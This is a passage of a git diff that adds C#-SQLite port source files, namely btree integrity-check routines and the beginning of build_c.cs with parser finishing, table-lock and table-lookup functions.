/* +** Append a message to the error message string. +*/ + static void checkAppendMsg( + IntegrityCk pCheck, + string zMsg1, + string zFormat, + params object[] ap + ) + { + //va_list ap; + if (0 == pCheck.mxErr) return; + pCheck.mxErr--; + pCheck.nErr++; + va_start(ap, zFormat); + if (pCheck.errMsg.nChar != 0) + { + sqlite3StrAccumAppend(pCheck.errMsg, "\n", 1); + } + if (!String.IsNullOrEmpty(zMsg1)) + { + sqlite3StrAccumAppend(pCheck.errMsg, zMsg1, -1); + } + sqlite3VXPrintf(pCheck.errMsg, 1, zFormat, ap); + va_end(ap); + //if( pCheck.errMsg.mallocFailed ){ + // pCheck.mallocFailed = 1; + //} + } +#endif //* SQLITE_OMIT_INTEGRITY_CHECK */ + +#if !SQLITE_OMIT_INTEGRITY_CHECK + /* +** Add 1 to the reference count for page iPage. If this is the second +** reference to the page, add an error message to pCheck.zErrMsg. +** Return 1 if there are 2 ore more references to the page and 0 if +** if this is the first reference to the page. +** +** Also check that the page number is in bounds. +*/ + static int checkRef(IntegrityCk pCheck, Pgno iPage, string zContext) + { + if (iPage == 0) return 1; + if (iPage > pCheck.nPage) + { + checkAppendMsg(pCheck, zContext, "invalid page number %d", iPage); + return 1; + } + if (pCheck.anRef[iPage] == 1) + { + checkAppendMsg(pCheck, zContext, "2nd reference to page %d", iPage); + return 1; + } + return ((pCheck.anRef[iPage]++) > 1) ? 1 : 0; + } + +#if !SQLITE_OMIT_AUTOVACUUM + /* +** Check that the entry in the pointer-map for page iChild maps to +** page iParent, pointer type ptrType. If not, append an error message +** to pCheck. +*/ + static void checkPtrmap( + IntegrityCk pCheck, /* Integrity check context */ + Pgno iChild, /* Child page number */ + u8 eType, /* Expected pointer map type */ + Pgno iParent, /* Expected pointer map parent page number */ + string zContext /* Context description (used for error msg) */ + ) + { + int rc; + u8 ePtrmapType = 0; + Pgno iPtrmapParent = 0; + + rc = ptrmapGet(pCheck.pBt, iChild, ref ePtrmapType, ref iPtrmapParent); + if (rc != SQLITE_OK) + { + //if( rc==SQLITE_NOMEM || rc==SQLITE_IOERR_NOMEM ) pCheck.mallocFailed = 1; + checkAppendMsg(pCheck, zContext, "Failed to read ptrmap key=%d", iChild); + return; + } + + if (ePtrmapType != eType || iPtrmapParent != iParent) + { + checkAppendMsg(pCheck, zContext, + "Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)", + iChild, eType, iParent, ePtrmapType, iPtrmapParent); + } + } +#endif + + /* +** Check the integrity of the freelist or of an overflow page list. +** Verify that the number of pages on the list is N. +*/ + static void checkList( + IntegrityCk pCheck, /* Integrity checking context */ + int isFreeList, /* True for a freelist. False for overflow page list */ + int iPage, /* Page number for first page in the list */ + int N, /* Expected number of pages in the list */ + string zContext /* Context for error messages */ + ) + { + int i; + int expected = N; + int iFirst = iPage; + while (N-- > 0 && pCheck.mxErr != 0) + { + DbPage pOvflPage = new PgHdr(); + byte[] pOvflData; + if (iPage < 1) + { + checkAppendMsg(pCheck, zContext, + "%d of %d pages missing from overflow list starting at %d", + N + 1, expected, iFirst); + break; + } + if (checkRef(pCheck, (u32)iPage, zContext) != 0) break; + if (sqlite3PagerGet(pCheck.pPager, (Pgno)iPage, ref pOvflPage) != 0) + { + checkAppendMsg(pCheck, zContext, "failed to get page %d", iPage); + break; + } + pOvflData = sqlite3PagerGetData(pOvflPage); + if (isFreeList != 0) + { + int n = (int)sqlite3Get4byte(pOvflData, 4); +#if !SQLITE_OMIT_AUTOVACUUM + if (pCheck.pBt.autoVacuum) + { + checkPtrmap(pCheck, (u32)iPage, PTRMAP_FREEPAGE, 0, zContext); + } +#endif + if (n > pCheck.pBt.usableSize / 4 - 2) + { + checkAppendMsg(pCheck, zContext, + "freelist leaf count too big on page %d", iPage); + N--; + } + else + { + for (i = 0; i < n; i++) + { + Pgno iFreePage = sqlite3Get4byte(pOvflData, 8 + i * 4); +#if !SQLITE_OMIT_AUTOVACUUM + if (pCheck.pBt.autoVacuum) + { + checkPtrmap(pCheck, iFreePage, PTRMAP_FREEPAGE, 0, zContext); + } +#endif + checkRef(pCheck, iFreePage, zContext); + } + N -= n; + } + } +#if !SQLITE_OMIT_AUTOVACUUM + else + { + /* If this database supports auto-vacuum and iPage is not the last + ** page in this overflow list, check that the pointer-map entry for + ** the following page matches iPage. + */ + if (pCheck.pBt.autoVacuum && N > 0) + { + i = (int)sqlite3Get4byte(pOvflData); + checkPtrmap(pCheck, (u32)i, PTRMAP_OVERFLOW2, (u32)iPage, zContext); + } + } +#endif + iPage = (int)sqlite3Get4byte(pOvflData); + sqlite3PagerUnref(pOvflPage); + } + } +#endif //* SQLITE_OMIT_INTEGRITY_CHECK */ + +#if !SQLITE_OMIT_INTEGRITY_CHECK + /* +** Do various sanity checks on a single page of a tree. Return +** the tree depth. Root pages return 0. Parents of root pages +** return 1, and so forth. +** +** These checks are done: +** +** 1. Make sure that cells and freeblocks do not overlap +** but combine to completely cover the page. +** NO 2. Make sure cell keys are in order. +** NO 3. Make sure no key is less than or equal to zLowerBound. +** NO 4. Make sure no key is greater than or equal to zUpperBound. +** 5. Check the integrity of overflow pages. +** 6. Recursively call checkTreePage on all children. +** 7. Verify that the depth of all children is the same. +** 8. Make sure this page is at least 33% full or else it is +** the root of the tree. +*/ + static int checkTreePage( + IntegrityCk pCheck, /* Context for the sanity check */ + int iPage, /* Page number of the page to check */ + string zParentContext /* Parent context */ + ) + { + MemPage pPage = new MemPage(); + int i, rc, depth, d2, pgno, cnt; + int hdr, cellStart; + int nCell; + u8[] data; + BtShared pBt; + int usableSize; + string zContext = "";//[100]; + byte[] hit = null; + + + sqlite3_snprintf(200, ref zContext, "Page %d: ", iPage); + + /* Check that the page exists + */ + pBt = pCheck.pBt; + usableSize = pBt.usableSize; + if (iPage == 0) return 0; + if (checkRef(pCheck, (u32)iPage, zParentContext) != 0) return 0; + if ((rc = btreeGetPage(pBt, (Pgno)iPage, ref pPage, 0)) != 0) + { + checkAppendMsg(pCheck, zContext, + "unable to get the page. error code=%d", rc); + return 0; + } + + /* Clear MemPage.isInit to make sure the corruption detection code in + ** btreeInitPage() is executed. */ + pPage.isInit = 0; + if ((rc = btreeInitPage(pPage)) != 0) + { + Debug.Assert(rc == SQLITE_CORRUPT); /* The only possible error from InitPage */ + checkAppendMsg(pCheck, zContext, + "btreeInitPage() returns error code %d", rc); + releasePage(pPage); + return 0; + } + + /* Check out all the cells. + */ + depth = 0; + for (i = 0; i < pPage.nCell && pCheck.mxErr != 0; i++) + { + u8[] pCell; + u32 sz; + CellInfo info = new CellInfo(); + + /* Check payload overflow pages + */ + sqlite3_snprintf(200, ref zContext, + "On tree page %d cell %d: ", iPage, i); + int iCell = findCell(pPage, i); //pCell = findCell( pPage, i ); + pCell = pPage.aData; + btreeParseCellPtr( pPage, iCell, ref info ); //btreeParseCellPtr( pPage, pCell, info ); + sz = info.nData; + if (0 == pPage.intKey) sz += (u32)info.nKey; + Debug.Assert(sz == info.nPayload); + if ((sz > info.nLocal) + //&& (pCell[info.iOverflow]<=&pPage.aData[pBt.usableSize]) + ) + { + int nPage = (int)(sz - info.nLocal + usableSize - 5) / (usableSize - 4); + Pgno pgnoOvfl = sqlite3Get4byte(pCell, iCell, info.iOverflow); +#if !SQLITE_OMIT_AUTOVACUUM + if (pBt.autoVacuum) + { + checkPtrmap(pCheck, pgnoOvfl, PTRMAP_OVERFLOW1, (u32)iPage, zContext); + } +#endif + checkList(pCheck, 0, (int)pgnoOvfl, nPage, zContext); + } + + /* Check sanity of left child page. + */ + if (0 == pPage.leaf) + { + pgno = (int)sqlite3Get4byte(pCell, iCell); //sqlite3Get4byte( pCell ); +#if !SQLITE_OMIT_AUTOVACUUM + if (pBt.autoVacuum) + { + checkPtrmap(pCheck, (u32)pgno, PTRMAP_BTREE, (u32)iPage, zContext); + } +#endif + d2 = checkTreePage(pCheck, pgno, zContext); + if (i > 0 && d2 != depth) + { + checkAppendMsg(pCheck, zContext, "Child page depth differs"); + } + depth = d2; + } + } + if (0 == pPage.leaf) + { + pgno = (int)sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8); + sqlite3_snprintf(200, ref zContext, + "On page %d at right child: ", iPage); +#if !SQLITE_OMIT_AUTOVACUUM + if (pBt.autoVacuum) + { + checkPtrmap(pCheck, (u32)pgno, PTRMAP_BTREE, (u32)iPage, ""); + } +#endif + checkTreePage(pCheck, pgno, zContext); + } + + /* Check for complete coverage of the page + */ + data = pPage.aData; + hdr = pPage.hdrOffset; + hit = new byte[pBt.pageSize]; //sqlite3PageMalloc( pBt.pageSize ); + //if( hit==null ){ + // pCheck.mallocFailed = 1; + //}else + { + u16 contentOffset = (u16)get2byte(data, hdr + 5); + Debug.Assert(contentOffset <= usableSize); /* Enforced by btreeInitPage() */ + //memset(hit+contentOffset, 0, usableSize-contentOffset); + //memset(hit, 1, contentOffset); + for (int iLoop = contentOffset - 1; iLoop >= 0; iLoop--) hit[iLoop] = 1; + nCell = get2byte(data, hdr + 3); + cellStart = hdr + 12 - 4 * pPage.leaf; + for (i = 0; i < nCell; i++) + { + int pc = get2byte(data, cellStart + i * 2); + u16 size = 1024; + int j; + if (pc <= usableSize - 4) + { + size = cellSizePtr(pPage, data, pc); + } + if ((pc + size - 1) >= usableSize) + { + checkAppendMsg(pCheck, null, + "Corruption detected in cell %d on page %d", i, iPage, 0); + } + else + { + for (j = pc + size - 1; j >= pc; j--) hit[j]++; + } + } + i = get2byte(data, hdr + 1); + while (i > 0) + { + int size, j; + Debug.Assert(i <= usableSize - 4); /* Enforced by btreeInitPage() */ + size = get2byte(data, i + 2); + Debug.Assert(i + size <= usableSize); /* Enforced by btreeInitPage() */ + for (j = i + size - 1; j >= i; j--) hit[j]++; + j = get2byte(data, i); + Debug.Assert(j == 0 || j > i + size); /* Enforced by btreeInitPage() */ + Debug.Assert(j <= usableSize - 4); /* Enforced by btreeInitPage() */ + i = j; + } + for (i = cnt = 0; i < usableSize; i++) + { + if (hit[i] == 0) + { + cnt++; + } + else if (hit[i] > 1) + { + checkAppendMsg(pCheck, "", + "Multiple uses for byte %d of page %d", i, iPage); + break; + } + } + if (cnt != data[hdr + 7]) + { + checkAppendMsg(pCheck, null, + "Fragmentation of %d bytes reported as %d on page %d", + cnt, data[hdr + 7], iPage); + } + } + // sqlite3PageFree(ref hit); + releasePage(pPage); + return depth + 1; + } +#endif //* SQLITE_OMIT_INTEGRITY_CHECK */ + +#if !SQLITE_OMIT_INTEGRITY_CHECK + /* +** This routine does a complete check of the given BTree file. aRoot[] is +** an array of pages numbers were each page number is the root page of +** a table. nRoot is the number of entries in aRoot. +** +** A read-only or read-write transaction must be opened before calling +** this function. +** +** Write the number of error seen in pnErr. Except for some memory +** allocation errors, an error message held in memory obtained from +** malloc is returned if pnErr is non-zero. If pnErr==null then NULL is +** returned. If a memory allocation error occurs, NULL is returned. +*/ + static string sqlite3BtreeIntegrityCheck( + Btree p, /* The btree to be checked */ + int[] aRoot, /* An array of root pages numbers for individual trees */ + int nRoot, /* Number of entries in aRoot[] */ + int mxErr, /* Stop reporting errors after this many */ + ref int pnErr /* Write number of errors seen to this variable */ + ) + { + Pgno i; + int nRef; + IntegrityCk sCheck = new IntegrityCk(); + BtShared pBt = p.pBt; + StringBuilder zErr = new StringBuilder(100);//char zErr[100]; + + + sqlite3BtreeEnter(p); + Debug.Assert(p.inTrans > TRANS_NONE && pBt.inTransaction > TRANS_NONE); + nRef = sqlite3PagerRefcount(pBt.pPager); + sCheck.pBt = pBt; + sCheck.pPager = pBt.pPager; + sCheck.nPage = pagerPagecount(sCheck.pBt); + sCheck.mxErr = mxErr; + sCheck.nErr = 0; + //sCheck.mallocFailed = 0; + pnErr = 0; + if (sCheck.nPage == 0) + { + sqlite3BtreeLeave(p); + return ""; + } + sCheck.anRef = new int[sCheck.nPage + 1];//sqlite3Malloc( (sCheck.nPage+1)*sizeof(sCheck.anRef[0]) ); + //if( !sCheck.anRef ){ + // pnErr = 1; + // sqlite3BtreeLeave(p); + // return 0; + //} + // for (i = 0; i <= sCheck.nPage; i++) { sCheck.anRef[i] = 0; } + i = PENDING_BYTE_PAGE(pBt); + if (i <= sCheck.nPage) + { + sCheck.anRef[i] = 1; + } + sqlite3StrAccumInit(sCheck.errMsg, zErr, zErr.Capacity, 20000); + + /* Check the integrity of the freelist + */ + checkList(sCheck, 1, (int)sqlite3Get4byte(pBt.pPage1.aData, 32), + (int)sqlite3Get4byte(pBt.pPage1.aData, 36), "Main freelist: "); + + /* Check all the tables. + */ + for (i = 0; (int)i < nRoot && sCheck.mxErr != 0; i++) + { + if (aRoot[i] == 0) continue; +#if !SQLITE_OMIT_AUTOVACUUM + if (pBt.autoVacuum && aRoot[i] > 1) + { + checkPtrmap(sCheck, (u32)aRoot[i], PTRMAP_ROOTPAGE, 0, ""); + } +#endif + checkTreePage(sCheck, aRoot[i], "List of tree roots: "); + } + + /* Make sure every page in the file is referenced + */ + for (i = 1; i <= sCheck.nPage && sCheck.mxErr != 0; i++) + { +#if SQLITE_OMIT_AUTOVACUUM +if( sCheck.anRef[i]==null ){ +checkAppendMsg(sCheck, 0, "Page %d is never used", i); +} +#else + /* If the database supports auto-vacuum, make sure no tables contain +** references to pointer-map pages. +*/ + if (sCheck.anRef[i] == 0 && + (PTRMAP_PAGENO(pBt, i) != i || !pBt.autoVacuum)) + { + checkAppendMsg(sCheck, null, "Page %d is never used", i); + } + if (sCheck.anRef[i] != 0 && + (PTRMAP_PAGENO(pBt, i) == i && pBt.autoVacuum)) + { + checkAppendMsg(sCheck, null, "Pointer map page %d is referenced", i); + } +#endif + } + + /* Make sure this analysis did not leave any unref() pages. + ** This is an internal consistency check; an integrity check + ** of the integrity check. + */ + if (NEVER(nRef != sqlite3PagerRefcount(pBt.pPager))) + { + checkAppendMsg(sCheck, null, + "Outstanding page count goes from %d to %d during this analysis", + nRef, sqlite3PagerRefcount(pBt.pPager) + ); + } + + /* Clean up and report errors. + */ + sqlite3BtreeLeave(p); + sCheck.anRef = null;// sqlite3_free( ref sCheck.anRef ); + //if( sCheck.mallocFailed ){ + // sqlite3StrAccumReset(sCheck.errMsg); + // pnErr = sCheck.nErr+1; + // return 0; + //} + pnErr = sCheck.nErr; + if (sCheck.nErr == 0) sqlite3StrAccumReset(sCheck.errMsg); + return sqlite3StrAccumFinish(sCheck.errMsg); + } +#endif //* SQLITE_OMIT_INTEGRITY_CHECK */ + + /* +** Return the full pathname of the underlying database file. +** +** The pager filename is invariant as long as the pager is +** open so it is safe to access without the BtShared mutex. +*/ + static string sqlite3BtreeGetFilename(Btree p) + { + Debug.Assert(p.pBt.pPager != null); + return sqlite3PagerFilename(p.pBt.pPager); + } + + /* + ** Return the pathname of the journal file for this database. The return + ** value of this routine is the same regardless of whether the journal file + ** has been created or not. + ** + ** The pager journal filename is invariant as long as the pager is + ** open so it is safe to access without the BtShared mutex. + */ + static string sqlite3BtreeGetJournalname(Btree p) + { + Debug.Assert(p.pBt.pPager != null); + return sqlite3PagerJournalname(p.pBt.pPager); + } + + /* + ** Return non-zero if a transaction is active. + */ + static bool sqlite3BtreeIsInTrans(Btree p) + { + Debug.Assert(p == null || sqlite3_mutex_held(p.db.mutex)); + return (p != null && (p.inTrans == TRANS_WRITE)); + } + + /* + ** Return non-zero if a read (or write) transaction is active. + */ + static bool sqlite3BtreeIsInReadTrans(Btree p) + { + Debug.Assert(p != null); + Debug.Assert(sqlite3_mutex_held(p.db.mutex)); + return p.inTrans != TRANS_NONE; + } + + static bool sqlite3BtreeIsInBackup(Btree p) + { + Debug.Assert(p != null); + Debug.Assert(sqlite3_mutex_held(p.db.mutex)); + return p.nBackup != 0; + } + + /* + ** This function returns a pointer to a blob of memory associated with + ** a single shared-btree. The memory is used by client code for its own + ** purposes (for example, to store a high-level schema associated with + ** the shared-btree). The btree layer manages reference counting issues. + ** + ** The first time this is called on a shared-btree, nBytes bytes of memory + ** are allocated, zeroed, and returned to the caller. For each subsequent + ** call the nBytes parameter is ignored and a pointer to the same blob + ** of memory returned. + ** + ** If the nBytes parameter is 0 and the blob of memory has not yet been + ** allocated, a null pointer is returned. If the blob has already been + ** allocated, it is returned as normal. + ** + ** Just before the shared-btree is closed, the function passed as the + ** xFree argument when the memory allocation was made is invoked on the + ** blob of allocated memory. This function should not call sqlite3_free(ref ) + ** on the memory, the btree layer does that. + */ + static Schema sqlite3BtreeSchema(Btree p, int nBytes, dxFreeSchema xFree) + { + BtShared pBt = p.pBt; + sqlite3BtreeEnter(p); + if (null == pBt.pSchema && nBytes != 0) + { + pBt.pSchema = new Schema();//sqlite3MallocZero(nBytes); + pBt.xFreeSchema = xFree; + } + sqlite3BtreeLeave(p); + return pBt.pSchema; + } + + /* + ** Return SQLITE_LOCKED_SHAREDCACHE if another user of the same shared + ** btree as the argument handle holds an exclusive lock on the + ** sqlite_master table. Otherwise SQLITE_OK. + */ + static int sqlite3BtreeSchemaLocked(Btree p) + { + int rc; + Debug.Assert(sqlite3_mutex_held(p.db.mutex)); + sqlite3BtreeEnter(p); + rc = querySharedCacheTableLock(p, MASTER_ROOT, READ_LOCK); + Debug.Assert(rc == SQLITE_OK || rc == SQLITE_LOCKED_SHAREDCACHE); + sqlite3BtreeLeave(p); + return rc; + } + + +#if !SQLITE_OMIT_SHARED_CACHE +/* +** Obtain a lock on the table whose root page is iTab. The +** lock is a write lock if isWritelock is true or a read lock +** if it is false. +*/ +int sqlite3BtreeLockTable(Btree p, int iTab, u8 isWriteLock){ +int rc = SQLITE_OK; +Debug.Assert( p.inTrans!=TRANS_NONE ); +if( p.sharable ){ +u8 lockType = READ_LOCK + isWriteLock; +Debug.Assert( READ_LOCK+1==WRITE_LOCK ); +Debug.Assert( isWriteLock==null || isWriteLock==1 ); + +sqlite3BtreeEnter(p); +rc = querySharedCacheTableLock(p, iTab, lockType); +if( rc==SQLITE_OK ){ +rc = setSharedCacheTableLock(p, iTab, lockType); +} +sqlite3BtreeLeave(p); +} +return rc; +} +#endif + +#if !SQLITE_OMIT_INCRBLOB +/* +** Argument pCsr must be a cursor opened for writing on an +** INTKEY table currently pointing at a valid table entry. +** This function modifies the data stored as part of that entry. +** +** Only the data content may only be modified, it is not possible to +** change the length of the data stored. If this function is called with +** parameters that attempt to write past the end of the existing data, +** no modifications are made and SQLITE_CORRUPT is returned. +*/ +int sqlite3BtreePutData(BtCursor pCsr, u32 offset, u32 amt, void *z){ +int rc; +Debug.Assert( cursorHoldsMutex(pCsr) ); +Debug.Assert( sqlite3_mutex_held(pCsr.pBtree.db.mutex) ); +Debug.Assert( pCsr.isIncrblobHandle ); + +rc = restoreCursorPosition(pCsr); +if( rc!=SQLITE_OK ){ +return rc; +} +Debug.Assert( pCsr.eState!=CURSOR_REQUIRESEEK ); +if( pCsr.eState!=CURSOR_VALID ){ +return SQLITE_ABORT; +} + +/* Check some assumptions: +** (a) the cursor is open for writing, +** (b) there is a read/write transaction open, +** (c) the connection holds a write-lock on the table (if required), +** (d) there are no conflicting read-locks, and +** (e) the cursor points at a valid row of an intKey table. +*/ +if( !pCsr.wrFlag ){ +return SQLITE_READONLY; +} +Debug.Assert( !pCsr.pBt.readOnly && pCsr.pBt.inTransaction==TRANS_WRITE ); +Debug.Assert( hasSharedCacheTableLock(pCsr.pBtree, pCsr.pgnoRoot, 0, 2) ); +Debug.Assert( !hasReadConflicts(pCsr.pBtree, pCsr.pgnoRoot) ); +Debug.Assert( pCsr.apPage[pCsr.iPage].intKey ); + +return accessPayload(pCsr, offset, amt, (byte[] *)z, 1); +} + +/* +** Set a flag on this cursor to cache the locations of pages from the +** overflow list for the current row. This is used by cursors opened +** for incremental blob IO only. +** +** This function sets a flag only. The actual page location cache +** (stored in BtCursor.aOverflow[]) is allocated and used by function +** accessPayload() (the worker function for sqlite3BtreeData() and +** sqlite3BtreePutData()). +*/ +void sqlite3BtreeCacheOverflow(BtCursor pCur){ +Debug.Assert( cursorHoldsMutex(pCur) ); +Debug.Assert( sqlite3_mutex_held(pCur.pBtree.db.mutex) ); +Debug.Assert(!pCur.isIncrblobHandle); +Debug.Assert(!pCur.aOverflow); +pCur.isIncrblobHandle = 1; +} +#endif + } +} diff --git a/SQLite/src/build_c.cs b/SQLite/src/build_c.cs new file mode 100644 index 0000000..403c931 --- /dev/null +++ b/SQLite/src/build_c.cs @@ -0,0 +1,4112 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Text; + +using i16 = System.Int16; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains C code routines that are called by the SQLite parser + ** when syntax rules are reduced. The routines in this file handle the + ** following kinds of SQL syntax: + ** + ** CREATE TABLE + ** DROP TABLE + ** CREATE INDEX + ** DROP INDEX + ** creating ID lists + ** BEGIN TRANSACTION + ** COMMIT + ** ROLLBACK + ** + ** $Id: build.c,v 1.557 2009/07/24 17:58:53 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** This routine is called when a new SQL statement is beginning to + ** be parsed. Initialize the pParse structure as needed. + */ + static void sqlite3BeginParse( Parse pParse, int explainFlag ) + { + pParse.explain = (byte)explainFlag; + pParse.nVar = 0; + } + +#if !SQLITE_OMIT_SHARED_CACHE +/* +** The TableLock structure is only used by the sqlite3TableLock() and +** codeTableLocks() functions. +*/ +//struct TableLock { +// int iDb; /* The database containing the table to be locked */ +// int iTab; /* The root page of the table to be locked */ +// u8 isWriteLock; /* True for write lock. False for a read lock */ +// string zName; /* Name of the table */ +//}; + +public class TableLock +{ +public int iDb; /* The database containing the table to be locked */ +public int iTab; /* The root page of the table to be locked */ +public u8 isWriteLock; /* True for write lock. False for a read lock */ +public string zName; /* Name of the table */ +} +/* +** Record the fact that we want to lock a table at run-time. +** +** The table to be locked has root page iTab and is found in database iDb. +** A read or a write lock can be taken depending on isWritelock. +** +** This routine just records the fact that the lock is desired. The +** code to make the lock occur is generated by a later call to +** codeTableLocks() which occurs during sqlite3FinishCoding(). +*/ +static void sqlite3TableLock( +Parse pParse, /* Parsing context */ +int iDb, /* Index of the database containing the table to lock */ +int iTab, /* Root page number of the table to be locked */ +u8 isWriteLock, /* True for a write lock */ +string zName /* Name of the table to be locked */ +) +{ +int i; +int nBytes; +TableLock p; + +Debug.Assert( iDb >= 0 ); + +for ( i = 0 ; i < pParse.nTableLock ; i++ ) +{ +p = pParse.aTableLock[i]; +if ( p.iDb == iDb && p.iTab == iTab ) +{ +p.isWriteLock = (byte)( ( p.isWriteLock != 0 || isWriteLock != 0 ) ? 1 : 0 ); +return; +} +} + +nBytes = ( pParse.nTableLock + 1 );//sizeof(TableLock) * +Array.Resize( ref pParse.aTableLock, pParse.nTableLock + 1 ); +// sqlite3DbReallocOrFree( pParse.db, pParse.aTableLock, nBytes ); +if ( pParse.aTableLock != null ) +{ +pParse.aTableLock[pParse.nTableLock] = new TableLock(); +p = pParse.aTableLock[pParse.nTableLock++]; +p.iDb = iDb; +p.iTab = iTab; +p.isWriteLock = isWriteLock; +p.zName = zName; +} +else +{ +pParse.nTableLock = 0; +pParse.db.mallocFailed = 1; +} +} + +/* +** Code an OP_TableLock instruction for each table locked by the +** statement (configured by calls to sqlite3TableLock()). +*/ +static void codeTableLocks( Parse pParse ) +{ +int i; +Vdbe pVdbe; + +pVdbe = sqlite3GetVdbe( pParse ); +Debug.Assert( pVdbe != null ); /* sqlite3GetVdbe cannot fail: VDBE already allocated */ + +for ( i = 0 ; i < pParse.nTableLock ; i++ ) +{ +TableLock p = pParse.aTableLock[i]; +int p1 = p.iDb; +sqlite3VdbeAddOp4( pVdbe, OP_TableLock, p1, p.iTab, p.isWriteLock, +p.zName, P4_STATIC ); +} +} +#else + // #define codeTableLocks(x) + static void codeTableLocks( Parse pParse ) { } +#endif + + /* +** This routine is called after a single SQL statement has been +** parsed and a VDBE program to execute that statement has been +** prepared. This routine puts the finishing touches on the +** VDBE program and resets the pParse structure for the next +** parse. +** +** Note that if an error occurred, it might be the case that +** no VDBE code was generated. +*/ + static void sqlite3FinishCoding( Parse pParse ) + { + sqlite3 db; + Vdbe v; + + db = pParse.db; +// if ( db.mallocFailed != 0 ) return; + if ( pParse.nested != 0 ) return; + if ( pParse.nErr != 0 ) return; + + /* Begin by generating some termination code at the end of the + ** vdbe program + */ + v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + sqlite3VdbeAddOp0( v, OP_Halt ); + + /* The cookie mask contains one bit for each database file open. + ** (Bit 0 is for main, bit 1 is for temp, and so forth.) Bits are + ** set for each database that is used. Generate code to start a + ** transaction on each used database and to verify the schema cookie + ** on each used database. + */ + if ( pParse.cookieGoto > 0 ) + { + u32 mask; + int iDb; + sqlite3VdbeJumpHere( v, pParse.cookieGoto - 1 ); + for ( iDb = 0, mask = 1 ; iDb < db.nDb ; mask <<= 1, iDb++ ) + { + if ( ( mask & pParse.cookieMask ) == 0 ) continue; + sqlite3VdbeUsesBtree( v, iDb ); + sqlite3VdbeAddOp2( v, OP_Transaction, iDb, ( mask & pParse.writeMask ) != 0 ); + if ( db.init.busy == 0 ) + { + sqlite3VdbeAddOp2( v, OP_VerifyCookie, iDb, pParse.cookieValue[iDb] ); + } + } +#if !SQLITE_OMIT_VIRTUALTABLE +{ +int i; +for(i=0; iapVtabLock[i]); +sqlite3VdbeAddOp4(v, OP_VBegin, 0, 0, 0, vtab, P4_VTAB); +} +pParse.nVtabLock = 0; +} +#endif + + /* Once all the cookies have been verified and transactions opened, +** obtain the required table-locks. This is a no-op unless the +** shared-cache feature is enabled. +*/ + codeTableLocks( pParse ); + + /* Initialize any AUTOINCREMENT data structures required. + */ + sqlite3AutoincrementBegin( pParse ); + + /* Finally, jump back to the beginning of the executable code. */ + sqlite3VdbeAddOp2( v, OP_Goto, 0, pParse.cookieGoto ); + } + } + + + /* Get the VDBE program ready for execution + */ + if ( v != null && ALWAYS( pParse.nErr == 0 ) /* && 0 == db.mallocFailed */ ) + { +#if SQLITE_DEBUG + TextWriter trace = ( db.flags & SQLITE_VdbeTrace ) != 0 ? Console.Out : null; + sqlite3VdbeTrace( v, trace ); +#endif + Debug.Assert( pParse.iCacheLevel == 0 ); /* Disables and re-enables match */ + sqlite3VdbeMakeReady( v, pParse.nVar, pParse.nMem, + pParse.nTab, pParse.explain ); + pParse.rc = SQLITE_DONE; + pParse.colNamesSet = 0; + } + else if ( pParse.rc == SQLITE_OK ) + { + pParse.rc = SQLITE_ERROR; + } + pParse.nTab = 0; + pParse.nMem = 0; + pParse.nSet = 0; + pParse.nVar = 0; + pParse.cookieMask = 0; + pParse.cookieGoto = 0; + } + + /* + ** Run the parser and code generator recursively in order to generate + ** code for the SQL statement given onto the end of the pParse context + ** currently under construction. When the parser is run recursively + ** this way, the final OP_Halt is not appended and other initialization + ** and finalization steps are omitted because those are handling by the + ** outermost parser. + ** + ** Not everything is nestable. This facility is designed to permit + ** INSERT, UPDATE, and DELETE operations against SQLITE_MASTER. Use + ** care if you decide to try to use this routine for some other purposes. + */ + static void sqlite3NestedParse( Parse pParse, string zFormat, params object[] ap ) + { + // va_list ap; + string zSql; // char *zSql; + string zErrMsg = "";// char* zErrMsg = 0; + sqlite3 db = pParse.db; + //# define SAVE_SZ (Parse.Length - offsetof(Parse,nVar)) + // char saveBuf[SAVE_SZ]; + + if ( pParse.nErr != 0 ) return; + Debug.Assert( pParse.nested < 10 ); /* Nesting should only be of limited depth */ + va_start( ap, zFormat ); + zSql = sqlite3VMPrintf( db, zFormat, ap ); + va_end( ap ); + //if( zSql=="" ){ + // return; /* A malloc must have failed */ + //} + pParse.nested++; + pParse.SaveMembers(); // memcpy(saveBuf, pParse.nVar, SAVE_SZ); + pParse.ResetMembers(); // memset(pParse.nVar, 0, SAVE_SZ); + sqlite3RunParser( pParse, zSql, ref zErrMsg ); + //sqlite3DbFree( db, ref zErrMsg ); + //sqlite3DbFree( db, ref zSql ); + pParse.RestoreMembers(); // memcpy(pParse.nVar, saveBuf, SAVE_SZ); + pParse.nested--; + } + + /* + ** Locate the in-memory structure that describes a particular database + ** table given the name of that table and (optionally) the name of the + ** database containing the table. Return NULL if not found. + ** + ** If zDatabase is 0, all databases are searched for the table and the + ** first matching table is returned. (No checking for duplicate table + ** names is done.) The search order is TEMP first, then MAIN, then any + ** auxiliary databases added using the ATTACH command. + ** + ** See also sqlite3LocateTable(). + */ + static Table sqlite3FindTable( sqlite3 db, string zName, string zDatabase ) + { + Table p = null; + int i; + int nName; + Debug.Assert( zName != null ); + nName = sqlite3Strlen30( zName ); + for ( i = OMIT_TEMPDB ; i < db.nDb ; i++ ) + { + int j = ( i < 2 ) ? i ^ 1 : i; /* Search TEMP before MAIN */ + if ( zDatabase != null && sqlite3StrICmp( zDatabase, db.aDb[j].zName ) != 0 ) continue; + p = (Table)sqlite3HashFind( db.aDb[j].pSchema.tblHash, zName, nName ); + if ( p != null ) break; + } + return p; + } + + /* + ** Locate the in-memory structure that describes a particular database + ** table given the name of that table and (optionally) the name of the + ** database containing the table. Return NULL if not found. Also leave an + ** error message in pParse.zErrMsg. + ** + ** The difference between this routine and sqlite3FindTable() is that this + ** routine leaves an error message in pParse.zErrMsg where + ** sqlite3FindTable() does not. + */ + static Table sqlite3LocateTable( + Parse pParse, /* context in which to 